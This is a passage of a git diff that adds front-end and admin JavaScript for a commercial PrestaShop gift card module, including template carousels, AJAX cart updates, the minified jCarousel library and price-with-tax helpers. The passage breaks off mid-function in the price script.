+* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/themes/default/js/modules/giftcard/js/choicegiftcard.js b/themes/default/js/modules/giftcard/js/choicegiftcard.js new file mode 100755 index 0000000..adeac41 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/choicegiftcard.js @@ -0,0 +1,228 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +$( document ).ready(function() { + $('.thickbox-giftcard').fancybox({ + 'hideOnContentClick': true, + 'transitionIn' : 'elastic', + 'transitionOut' : 'elastic' + }); + initJCarousel('jcarouselcardtemplates-all'); + $('.tab_template').click(function(){ + $('.tab_template').removeClass('selected'); + var datatab = $(this).attr("data-tab"); + $(this).addClass('selected'); + $('.gctab_content').removeClass('selected'); + $('#' + datatab).addClass('selected'); + var jcarouselid = 'jcarouselcardtemplates-all'; + if(datatab != 'block_templates_all') + { + var strid = $(this).attr('id'); + var tag_id = strid.replace("tab_template_tag",""); + jcarouselid = 'jcarouselcardtemplates-tag'+tag_id; + } + initJCarousel(jcarouselid); + + }); + $('.link_template').click(function(){ + var link_rel = $(this).attr('rel'); + var template_id = link_rel.replace("link_template",""); + $('#id_gift_card_template').val(template_id); + $('.template_item').removeClass('selected'); + $('.template_item'+template_id).addClass('selected'); + }); + + $("input[name='receptmode']").change(function() { + if ($("input[name='receptmode']:checked").val() == '1') + $(".datesendcard").show(400); + else + $(".datesendcard").hide(400); + }); + + $('#choicegiftcard .preview_form').click(function(){ + //$('#choicegiftcard .ui-loader-background').show(); + $("#formgiftcard input[name='action']").val('preview'); + $("#formgiftcard").submit(); + /* view mail preview ajax + $.ajax({ + type: 'POST', + url: linkcgc_controller, + async: true, + cache: false, + dataType: 'html', + data: "ajax=1"+ + "&"+$('#formgiftcard').serialize() + + "&rand=" + new Date().getTime(), + success: function(data) + { + $('#choicegiftcard .ui-loader-background').hide(200); + $.fancybox({ + autoDimensions: false, + 'maxWidth' : mailpreview_maxwidth, + content: data, + }); + }, + error:function() + { + $('#choicegiftcard .ui-loader-background').hide(200); + }}); + }*/ + } + ); + + $('#choicegiftcard .submit_form').click(function() + { + $("#formgiftcard input[name='action']").val('addgiftcard'); + $('#choicegiftcard .ui-loader-background').show(); + $.ajax({ + type: 'POST', + url: linkcgc_controller, + async: true, + cache: false, + dataType: 'json', + data: "ajax=1"+ + "&"+$('#formgiftcard').serialize() + + "&rand=" + new Date().getTime(), + success: function(data) + { + $('#choicegiftcard .ui-loader-background').hide(200); + if (!data.hasError) + { + $('#choicegiftcard .messages').find('.error').fadeOut(function(){ + $(this).remove(); + }); + // display a confirmation message + $('#choicegiftcard .messages').html(''); + $('#choicegiftcard .messages').prepend("

            "+data.message+"

            "); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + alert("TECHNICAL ERROR: \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + } + else + { + $('#choicegiftcard .messages').find('.success').fadeOut(function(){ + $(this).remove(); + }); + // display an error message + $('#choicegiftcard .messages').html(''); + $('#choicegiftcard .messages').prepend("

            "); + for (var i = 0; i < data.errors.length; i++) + $('#choicegiftcard .error').html($('#choicegiftcard .error').html()+data.errors[i]+"
            "); + + } + }, + error:function() + { + $('#choicegiftcard .ui-loader-background').hide(200); + } + }); + }); + } + +); +function countChar(val) { + var len = val.value.length; + if (len >= 200) { + val.value = val.value.substring(0, 200); + } else { + $('#charNum').text(200 - len); + } +}; +function initJCarousel(idcarousel) +{ + /*count total of template giftcard element*/ + var nbitems = $( '#'+idcarousel + ' .jcarousel ul > li' ).size(); + var showprevnext = false; + var jcarousel = $('#'+idcarousel + ' .jcarousel'); + jcarousel + .on('jcarousel:reload jcarousel:create', function () { + var width = jcarousel.innerWidth(); + itemscarouselsort = itemscarousel.sort(); + for (var key in itemscarouselsort){ + if(width >= itemscarouselsort[key].width) + { + width = width / itemscarouselsort[key].nb; + break; + } + } + + /**/ + if(nbitems * width > jcarousel.innerWidth()) + { + showprevnext = true; + } + if(!showprevnext) + { + $('#'+idcarousel + ' .jcarousel-control-prev').hide(); + $('#'+idcarousel + ' .jcarousel-control-next').hide(); + $('#'+idcarousel + ' .jcarousel-pagination').hide(); + } + else + { + $('#'+idcarousel + ' .jcarousel-control-prev').show(); + $('#'+idcarousel + ' .jcarousel-control-next').show(); + $('#'+idcarousel + ' .jcarousel-pagination').show(); + } + jcarousel.jcarousel('items').css('width', width + 'px'); + + }) + .jcarousel({ + wrap: 'circular' + }); + + $('#'+idcarousel + ' .jcarousel-control-prev') + .jcarouselControl({ + target: '-=1' + }); + + $('#'+idcarousel + ' .jcarousel-control-next') + .jcarouselControl({ + target: '+=1' + }); + + $('#'+idcarousel + ' .jcarousel-pagination') + .on('jcarouselpagination:active', 'a', function() { + $(this).addClass('active'); + }) + .on('jcarouselpagination:inactive', 'a', function() { + $(this).removeClass('active'); + }) + .on('click', function(e) { + e.preventDefault(); + }) + .jcarouselPagination({ + perPage: 1, + item: function(page) { + return '' + page + ''; + } + }); +} + diff --git a/themes/default/js/modules/giftcard/js/giftcardorder.js b/themes/default/js/modules/giftcard/js/giftcardorder.js new file mode 100755 index 0000000..a70e4c8 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/giftcardorder.js @@ -0,0 +1,65 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +function show_custom(token,id_gift_card_order) +{ + var current_element = $('#viewgifcardcustom_'+id_gift_card_order); + var ajax_params = { + 'id_gift_card_order':id_gift_card_order, + 'controller': 'AdminGiftCardOrder', + 'token': token, + 'action': 'show_custom', + 'ajax': true + }; + if(current_element.hasClass("open")) + { + $('#viewgifcardcustomdetail_'+id_gift_card_order).hide(200); + current_element.removeClass('open'); + current_element.closest('td').removeClass('viewgifcardcustomopen'); + + } + else + { + $.ajax({ + url: 'index.php', + data: ajax_params, + dataType: 'html', + cache: false, + async: false, + success: function(data) { + current_element.closest('tr').after(data); + current_element.closest('td').addClass('viewgifcardcustomopen'); + current_element.addClass("open"); + } + }); + } + /* + if (current_element.data('opened')) + { + current_element.find('img').attr('src', '../img/admin/more.png'); + current_element.parent().parent().parent().find('.details_'+id).hide('fast'); + current_element.data('opened', false); + } + else + { + current_element.find('img').attr('src', '../img/admin/less.png'); + current_element.parent().parent().parent().find('.details_'+id).show('fast'); + current_element.data('opened', true); + }*/ + +} \ No newline at end of file diff --git a/themes/default/js/modules/giftcard/js/index.php b/themes/default/js/modules/giftcard/js/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/js/modules/giftcard/js/jquery.jcarousel.min.js b/themes/default/js/modules/giftcard/js/jquery.jcarousel.min.js new file mode 100755 index 0000000..515f9a3 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/jquery.jcarousel.min.js @@ -0,0 +1,4 @@ +/*! jCarousel - v0.3.0 - 2013-11-22 +* http://sorgalla.com/jcarousel +* Copyright (c) 2013 Jan Sorgalla; Licensed MIT */ +(function(t){"use strict";var i=t.jCarousel={};i.version="0.3.0";var s=/^([+\-]=)?(.+)$/;i.parseTarget=function(t){var i=!1,e="object"!=typeof t?s.exec(t):null;return e?(t=parseInt(e[2],10)||0,e[1]&&(i=!0,"-="===e[1]&&(t*=-1))):"object"!=typeof t&&(t=parseInt(t,10)||0),{target:t,relative:i}},i.detectCarousel=function(t){for(var i;t.length>0;){if(i=t.filter("[data-jcarousel]"),i.length>0)return i;if(i=t.find("[data-jcarousel]"),i.length>0)return i;t=t.parent()}return null},i.base=function(s){return{version:i.version,_options:{},_element:null,_carousel:null,_init:t.noop,_create:t.noop,_destroy:t.noop,_reload:t.noop,create:function(){return this._element.attr("data-"+s.toLowerCase(),!0).data(s,this),!1===this._trigger("create")?this:(this._create(),this._trigger("createend"),this)},destroy:function(){return!1===this._trigger("destroy")?this:(this._destroy(),this._trigger("destroyend"),this._element.removeData(s).removeAttr("data-"+s.toLowerCase()),this)},reload:function(t){return!1===this._trigger("reload")?this:(t&&this.options(t),this._reload(),this._trigger("reloadend"),this)},element:function(){return this._element},options:function(i,s){if(0===arguments.length)return t.extend({},this._options);if("string"==typeof i){if(s===void 0)return this._options[i]===void 0?null:this._options[i];this._options[i]=s}else this._options=t.extend({},this._options,i);return this},carousel:function(){return this._carousel||(this._carousel=i.detectCarousel(this.options("carousel")||this._element),this._carousel||t.error('Could not detect carousel for plugin "'+s+'"')),this._carousel},_trigger:function(i,e,r){var n,o=!1;return r=[this].concat(r||[]),(e||this._element).each(function(){n=t.Event((s+":"+i).toLowerCase()),t(this).trigger(n,r),n.isDefaultPrevented()&&(o=!0)}),!o}}},i.plugin=function(s,e){var r=t[s]=function(i,s){this._element=t(i),this.options(s),this._init(),this.create()};return r.fn=r.prototype=t.extend({},i.base(s),e),t.fn[s]=function(i){var e=Array.prototype.slice.call(arguments,1),n=this;return"string"==typeof i?this.each(function(){var r=t(this).data(s);if(!r)return t.error("Cannot call methods on "+s+" prior to initialization; "+'attempted to call method "'+i+'"');if(!t.isFunction(r[i])||"_"===i.charAt(0))return t.error('No such method "'+i+'" for '+s+" instance");var o=r[i].apply(r,e);return o!==r&&o!==void 0?(n=o,!1):void 0}):this.each(function(){var e=t(this).data(s);e instanceof r?e.reload(i):new r(this,i)}),n},r}})(jQuery),function(t,i){"use strict";var s=function(t){return parseFloat(t)||0};t.jCarousel.plugin("jcarousel",{animating:!1,tail:0,inTail:!1,resizeTimer:null,lt:null,vertical:!1,rtl:!1,circular:!1,underflow:!1,relative:!1,_options:{list:function(){return this.element().children().eq(0)},items:function(){return this.list().children()},animation:400,transitions:!1,wrap:null,vertical:null,rtl:null,center:!1},_list:null,_items:null,_target:null,_first:null,_last:null,_visible:null,_fullyvisible:null,_init:function(){var t=this;return this.onWindowResize=function(){t.resizeTimer&&clearTimeout(t.resizeTimer),t.resizeTimer=setTimeout(function(){t.reload()},100)},this},_create:function(){this._reload(),t(i).on("resize.jcarousel",this.onWindowResize)},_destroy:function(){t(i).off("resize.jcarousel",this.onWindowResize)},_reload:function(){this.vertical=this.options("vertical"),null==this.vertical&&(this.vertical=this.list().height()>this.list().width()),this.rtl=this.options("rtl"),null==this.rtl&&(this.rtl=function(i){if("rtl"===(""+i.attr("dir")).toLowerCase())return!0;var s=!1;return i.parents("[dir]").each(function(){return/rtl/i.test(t(this).attr("dir"))?(s=!0,!1):void 0}),s}(this._element)),this.lt=this.vertical?"top":"left",this.relative="relative"===this.list().css("position"),this._list=null,this._items=null;var i=this._target&&this.index(this._target)>=0?this._target:this.closest();this.circular="circular"===this.options("wrap"),this.underflow=!1;var s={left:0,top:0};return i.length>0&&(this._prepare(i),this.list().find("[data-jcarousel-clone]").remove(),this._items=null,this.underflow=this._fullyvisible.length>=this.items().length,this.circular=this.circular&&!this.underflow,s[this.lt]=this._position(i)+"px"),this.move(s),this},list:function(){if(null===this._list){var i=this.options("list");this._list=t.isFunction(i)?i.call(this):this._element.find(i)}return this._list},items:function(){if(null===this._items){var i=this.options("items");this._items=(t.isFunction(i)?i.call(this):this.list().find(i)).not("[data-jcarousel-clone]")}return this._items},index:function(t){return this.items().index(t)},closest:function(){var i,e=this,r=this.list().position()[this.lt],n=t(),o=!1,l=this.vertical?"bottom":this.rtl&&!this.relative?"left":"right";return this.rtl&&this.relative&&!this.vertical&&(r+=this.list().width()-this.clipping()),this.items().each(function(){if(n=t(this),o)return!1;var a=e.dimension(n);if(r+=a,r>=0){if(i=a-s(n.css("margin-"+l)),!(0>=Math.abs(r)-a+i/2))return!1;o=!0}}),n},target:function(){return this._target},first:function(){return this._first},last:function(){return this._last},visible:function(){return this._visible},fullyvisible:function(){return this._fullyvisible},hasNext:function(){if(!1===this._trigger("hasnext"))return!0;var t=this.options("wrap"),i=this.items().length-1;return i>=0&&(t&&"first"!==t||i>this.index(this._last)||this.tail&&!this.inTail)?!0:!1},hasPrev:function(){if(!1===this._trigger("hasprev"))return!0;var t=this.options("wrap");return this.items().length>0&&(t&&"last"!==t||this.index(this._first)>0||this.tail&&this.inTail)?!0:!1},clipping:function(){return this._element["inner"+(this.vertical?"Height":"Width")]()},dimension:function(t){return t["outer"+(this.vertical?"Height":"Width")](!0)},scroll:function(i,s,e){if(this.animating)return this;if(!1===this._trigger("scroll",null,[i,s]))return this;t.isFunction(s)&&(e=s,s=!0);var r=t.jCarousel.parseTarget(i);if(r.relative){var n,o,l,a,h,u,c,f,d=this.items().length-1,_=Math.abs(r.target),p=this.options("wrap");if(r.target>0){var v=this.index(this._last);if(v>=d&&this.tail)this.inTail?"both"===p||"last"===p?this._scroll(0,s,e):t.isFunction(e)&&e.call(this,!1):this._scrollTail(s,e);else if(n=this.index(this._target),this.underflow&&n===d&&("circular"===p||"both"===p||"last"===p)||!this.underflow&&v===d&&("both"===p||"last"===p))this._scroll(0,s,e);else if(l=n+_,this.circular&&l>d){for(f=d,h=this.items().get(-1);l>f++;)h=this.items().eq(0),u=this._visible.index(h)>=0,u&&h.after(h.clone(!0).attr("data-jcarousel-clone",!0)),this.list().append(h),u||(c={},c[this.lt]=this.dimension(h),this.moveBy(c)),this._items=null;this._scroll(h,s,e)}else this._scroll(Math.min(l,d),s,e)}else if(this.inTail)this._scroll(Math.max(this.index(this._first)-_+1,0),s,e);else if(o=this.index(this._first),n=this.index(this._target),a=this.underflow?n:o,l=a-_,0>=a&&(this.underflow&&"circular"===p||"both"===p||"first"===p))this._scroll(d,s,e);else if(this.circular&&0>l){for(f=l,h=this.items().get(0);0>f++;){h=this.items().eq(-1),u=this._visible.index(h)>=0,u&&h.after(h.clone(!0).attr("data-jcarousel-clone",!0)),this.list().prepend(h),this._items=null;var g=this.dimension(h);c={},c[this.lt]=-g,this.moveBy(c)}this._scroll(h,s,e)}else this._scroll(Math.max(l,0),s,e)}else this._scroll(r.target,s,e);return this._trigger("scrollend"),this},moveBy:function(t,i){var e=this.list().position(),r=1,n=0;return this.rtl&&!this.vertical&&(r=-1,this.relative&&(n=this.list().width()-this.clipping())),t.left&&(t.left=e.left+n+s(t.left)*r+"px"),t.top&&(t.top=e.top+n+s(t.top)*r+"px"),this.move(t,i)},move:function(i,s){s=s||{};var e=this.options("transitions"),r=!!e,n=!!e.transforms,o=!!e.transforms3d,l=s.duration||0,a=this.list();if(!r&&l>0)return a.animate(i,s),void 0;var h=s.complete||t.noop,u={};if(r){var c=a.css(["transitionDuration","transitionTimingFunction","transitionProperty"]),f=h;h=function(){t(this).css(c),f.call(this)},u={transitionDuration:(l>0?l/1e3:0)+"s",transitionTimingFunction:e.easing||s.easing,transitionProperty:l>0?function(){return n||o?"all":i.left?"left":"top"}():"none",transform:"none"}}o?u.transform="translate3d("+(i.left||0)+","+(i.top||0)+",0)":n?u.transform="translate("+(i.left||0)+","+(i.top||0)+")":t.extend(u,i),r&&l>0&&a.one("transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd",h),a.css(u),0>=l&&a.each(function(){h.call(this)})},_scroll:function(i,s,e){if(this.animating)return t.isFunction(e)&&e.call(this,!1),this;if("object"!=typeof i?i=this.items().eq(i):i.jquery===void 0&&(i=t(i)),0===i.length)return t.isFunction(e)&&e.call(this,!1),this;this.inTail=!1,this._prepare(i);var r=this._position(i),n=this.list().position()[this.lt];if(r===n)return t.isFunction(e)&&e.call(this,!1),this;var o={};return o[this.lt]=r+"px",this._animate(o,s,e),this},_scrollTail:function(i,s){if(this.animating||!this.tail)return t.isFunction(s)&&s.call(this,!1),this;var e=this.list().position()[this.lt];this.rtl&&this.relative&&!this.vertical&&(e+=this.list().width()-this.clipping()),this.rtl&&!this.vertical?e+=this.tail:e-=this.tail,this.inTail=!0;var r={};return r[this.lt]=e+"px",this._update({target:this._target.next(),fullyvisible:this._fullyvisible.slice(1).add(this._visible.last())}),this._animate(r,i,s),this},_animate:function(i,s,e){if(e=e||t.noop,!1===this._trigger("animate"))return e.call(this,!1),this;this.animating=!0;var r=this.options("animation"),n=t.proxy(function(){this.animating=!1;var t=this.list().find("[data-jcarousel-clone]");t.length>0&&(t.remove(),this._reload()),this._trigger("animateend"),e.call(this,!0)},this),o="object"==typeof r?t.extend({},r):{duration:r},l=o.complete||t.noop;return s===!1?o.duration=0:t.fx.speeds[o.duration]!==void 0&&(o.duration=t.fx.speeds[o.duration]),o.complete=function(){n(),l.call(this)},this.move(i,o),this},_prepare:function(i){var e,r,n,o,l=this.index(i),a=l,h=this.dimension(i),u=this.clipping(),c=this.vertical?"bottom":this.rtl?"left":"right",f=this.options("center"),d={target:i,first:i,last:i,visible:i,fullyvisible:u>=h?i:t()};if(f&&(h/=2,u/=2),u>h)for(;;){if(e=this.items().eq(++a),0===e.length){if(!this.circular)break;if(e=this.items().eq(0),i.get(0)===e.get(0))break;if(r=this._visible.index(e)>=0,r&&e.after(e.clone(!0).attr("data-jcarousel-clone",!0)),this.list().append(e),!r){var _={};_[this.lt]=this.dimension(e),this.moveBy(_)}this._items=null}if(o=this.dimension(e),0===o)break;if(h+=o,d.last=e,d.visible=d.visible.add(e),n=s(e.css("margin-"+c)),u>=h-n&&(d.fullyvisible=d.fullyvisible.add(e)),h>=u)break}if(!this.circular&&!f&&u>h)for(a=l;;){if(0>--a)break;if(e=this.items().eq(a),0===e.length)break;if(o=this.dimension(e),0===o)break;if(h+=o,d.first=e,d.visible=d.visible.add(e),n=s(e.css("margin-"+c)),u>=h-n&&(d.fullyvisible=d.fullyvisible.add(e)),h>=u)break}return this._update(d),this.tail=0,f||"circular"===this.options("wrap")||"custom"===this.options("wrap")||this.index(d.last)!==this.items().length-1||(h-=s(d.last.css("margin-"+c)),h>u&&(this.tail=h-u)),this},_position:function(t){var i=this._first,s=i.position()[this.lt],e=this.options("center"),r=e?this.clipping()/2-this.dimension(i)/2:0;return this.rtl&&!this.vertical?(s-=this.relative?this.list().width()-this.dimension(i):this.clipping()-this.dimension(i),s+=r):s-=r,!e&&(this.index(t)>this.index(i)||this.inTail)&&this.tail?(s=this.rtl&&!this.vertical?s-this.tail:s+this.tail,this.inTail=!0):this.inTail=!1,-s},_update:function(i){var s,e=this,r={target:this._target||t(),first:this._first||t(),last:this._last||t(),visible:this._visible||t(),fullyvisible:this._fullyvisible||t()},n=this.index(i.first||r.first)r[s].index(this)&&o.push(this)}),r[s].each(function(){0>i[s].index(this)&&l.push(this)}),n?o=o.reverse():l=l.reverse(),e._trigger(s+"in",t(o)),e._trigger(s+"out",t(l)),e["_"+s]=i[s]};for(s in i)o(s);return this}})}(jQuery,window),function(t){"use strict";t.jcarousel.fn.scrollIntoView=function(i,s,e){var r,n=t.jCarousel.parseTarget(i),o=this.index(this._fullyvisible.first()),l=this.index(this._fullyvisible.last());if(r=n.relative?0>n.target?Math.max(0,o+n.target):l+n.target:"object"!=typeof n.target?n.target:this.index(n.target),o>r)return this.scroll(r,s,e);if(r>=o&&l>=r)return t.isFunction(e)&&e.call(this,!1),this;for(var a,h=this.items(),u=this.clipping(),c=this.vertical?"bottom":this.rtl?"left":"right",f=0;;){if(a=h.eq(r),0===a.length)break;if(f+=this.dimension(a),f>=u){var d=parseFloat(a.css("margin-"+c))||0;f-d!==u&&r++;break}if(0>=r)break;r--}return this.scroll(r,s,e)}}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselControl",{_options:{target:"+=1",event:"click",method:"scroll"},_active:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onReload=t.proxy(this._reload,this),this.onEvent=t.proxy(function(i){i.preventDefault();var s=this.options("method");t.isFunction(s)?s.call(this):this.carousel().jcarousel(this.options("method"),this.options("target"))},this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy).on("jcarousel:reloadend jcarousel:scrollend",this.onReload),this._element.on(this.options("event")+".jcarouselcontrol",this.onEvent),this._reload()},_destroy:function(){this._element.off(".jcarouselcontrol",this.onEvent),this.carousel().off("jcarousel:destroy",this.onDestroy).off("jcarousel:reloadend jcarousel:scrollend",this.onReload)},_reload:function(){var i,s=t.jCarousel.parseTarget(this.options("target")),e=this.carousel();if(s.relative)i=e.jcarousel(s.target>0?"hasNext":"hasPrev");else{var r="object"!=typeof s.target?e.jcarousel("items").eq(s.target):s.target;i=e.jcarousel("target").index(r)>=0}return this._active!==i&&(this._trigger(i?"active":"inactive"),this._active=i),this}})}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselPagination",{_options:{perPage:null,item:function(t){return''+t+""},event:"click",method:"scroll"},_pages:{},_items:{},_currentPage:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onReload=t.proxy(this._reload,this),this.onScroll=t.proxy(this._update,this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy).on("jcarousel:reloadend",this.onReload).on("jcarousel:scrollend",this.onScroll),this._reload()},_destroy:function(){this._clear(),this.carousel().off("jcarousel:destroy",this.onDestroy).off("jcarousel:reloadend",this.onReload).off("jcarousel:scrollend",this.onScroll)},_reload:function(){var i=this.options("perPage");if(this._pages={},this._items={},t.isFunction(i)&&(i=i.call(this)),null==i)this._pages=this._calculatePages();else for(var s,e=parseInt(i,10)||0,r=this.carousel().jcarousel("items"),n=1,o=0;;){if(s=r.eq(o++),0===s.length)break;this._pages[n]=this._pages[n]?this._pages[n].add(s):s,0===o%e&&n++}this._clear();var l=this,a=this.carousel().data("jcarousel"),h=this._element,u=this.options("item");t.each(this._pages,function(i,s){var e=l._items[i]=t(u.call(l,i,s));e.on(l.options("event")+".jcarouselpagination",t.proxy(function(){var t=s.eq(0);if(a.circular){var e=a.index(a.target()),r=a.index(t);parseFloat(i)>parseFloat(l._currentPage)?e>r&&(t="+="+(a.items().length-e+r)):r>e&&(t="-="+(e+(a.items().length-r)))}a[this.options("method")](t)},l)),h.append(e)}),this._update()},_update:function(){var i,s=this.carousel().jcarousel("target");t.each(this._pages,function(t,e){return e.each(function(){return s.is(this)?(i=t,!1):void 0}),i?!1:void 0}),this._currentPage!==i&&(this._trigger("inactive",this._items[this._currentPage]),this._trigger("active",this._items[i])),this._currentPage=i},items:function(){return this._items},_clear:function(){this._element.empty(),this._currentPage=null},_calculatePages:function(){for(var t,i=this.carousel().data("jcarousel"),s=i.items(),e=i.clipping(),r=0,n=0,o=1,l={};;){if(t=s.eq(n++),0===t.length)break;l[o]=l[o]?l[o].add(t):t,r+=i.dimension(t),r>=e&&(o++,r=0)}return l}})}(jQuery),function(t){"use strict";t.jCarousel.plugin("jcarouselAutoscroll",{_options:{target:"+=1",interval:3e3,autostart:!0},_timer:null,_init:function(){this.onDestroy=t.proxy(function(){this._destroy(),this.carousel().one("jcarousel:createend",t.proxy(this._create,this))},this),this.onAnimateEnd=t.proxy(this.start,this)},_create:function(){this.carousel().one("jcarousel:destroy",this.onDestroy),this.options("autostart")&&this.start()},_destroy:function(){this.stop(),this.carousel().off("jcarousel:destroy",this.onDestroy)},start:function(){return this.stop(),this.carousel().one("jcarousel:animateend",this.onAnimateEnd),this._timer=setTimeout(t.proxy(function(){this.carousel().jcarousel("scroll",this.options("target"))},this),this.options("interval")),this},stop:function(){return this._timer&&(this._timer=clearTimeout(this._timer)),this.carousel().off("jcarousel:animateend",this.onAnimateEnd),this}})}(jQuery); \ No newline at end of file diff --git a/themes/default/js/modules/giftcard/js/price.js b/themes/default/js/modules/giftcard/js/price.js new file mode 100755 index 0000000..1fd593f --- /dev/null +++ b/themes/default/js/modules/giftcard/js/price.js @@ -0,0 +1,119 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +function getTax() +{ + if (noTax) + return 0; + var selectedTax = document.getElementById('id_tax_rules_group'); + var taxId = selectedTax.options[selectedTax.selectedIndex].value; + return taxesArray[taxId]; +} + +function getEcotaxTaxIncluded() +{ + return ps_round(ecotax_tax_excl * (1 + ecotaxTaxRate), 2); +} + +function getEcotaxTaxExcluded() +{ + return ecotax_tax_excl; +} + +function formatPrice(price) +{ + var fixedToSix = (Math.round(price * 1000000) / 1000000); + return (Math.round(fixedToSix) == fixedToSix + 0.000001 ? fixedToSix + 0.000001 : fixedToSix); +} + +function calcPrice() +{ + var priceType = $('#priceType').val(); + if (priceType == 'TE') + calcPriceTI(); + else + calcPriceTE(); +} + +function calcPriceTI() +{ + var tax = getTax(); + var priceTE = parseFloat(document.getElementById('price').value.replace(/,/g, '.')); + var newPrice = priceTE * ((tax / 100) + 1); + document.getElementById('priceTI').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2).toFixed(2); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(priceTE) == true || priceTE < 0) ? '' : + (ps_round(priceTE, 2) + getEcotaxTaxExcluded()).toFixed(2); + calcReduction(); + $('#priceTI').val((parseFloat($('#priceTI').val()) + getEcotaxTaxIncluded()).toFixed(2)); + $('#finalPrice').html(parseFloat($('#priceTI').val()).toFixed(2)); +} + +function calcPriceTE() +{ + ecotax_tax_excl = $('#ecotax').val() / (1 + ecotaxTaxRate); + var tax = getTax(); + var priceTI = parseFloat(document.getElementById('priceTI').value.replace(/,/g, '.')); + var newPrice = ps_round(priceTI - getEcotaxTaxIncluded(), 2) / ((tax / 100) + 1); + document.getElementById('priceTE').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6); + document.getElementById('price').value = (isNaN(newPrice) == true || newPrice < 0) ? 0 : ps_round(newPrice, 9); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(priceTI.toFixed(6), 6); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6) + getEcotaxTaxExcluded(); + calcReduction(); +} + + + +function decimalTruncate(source, decimals) +{ + if (typeof(decimals) == 'undefined') + decimals = 6; + source = source.toString(); + var pos = source.indexOf('.'); + return parseFloat(source.substr(0, pos + decimals + 1)); +} + +function unitPriceWithTax(type) +{ + var tax = getTax(); + var priceWithTax = parseFloat(document.getElementById(type+'_price').value.replace(/,/g, '.')); + var newPrice = priceWithTax * ((tax / 100) + 1); + $('#'+type+'_price_with_tax').html((isNaN(newPrice) == true || newPrice < 0) ? '0.00' : ps_round(newPrice, 2).toFixed(2)); +} + + +function changeCurrencySpecificPrice(index) +{ + var id_currency = $('#spm_currency_' + index).val(); + if (currencies[id_currency]["format"] == 2 || currencies[id_currency]["format"] == 4) + { + $('#spm_currency_sign_pre_' + index).html(''); + $('#spm_currency_sign_post_' + index).html(' ' + currencies[id_currency]["sign"]); + } + else if (currencies[id_currency]["format"] == 1 || 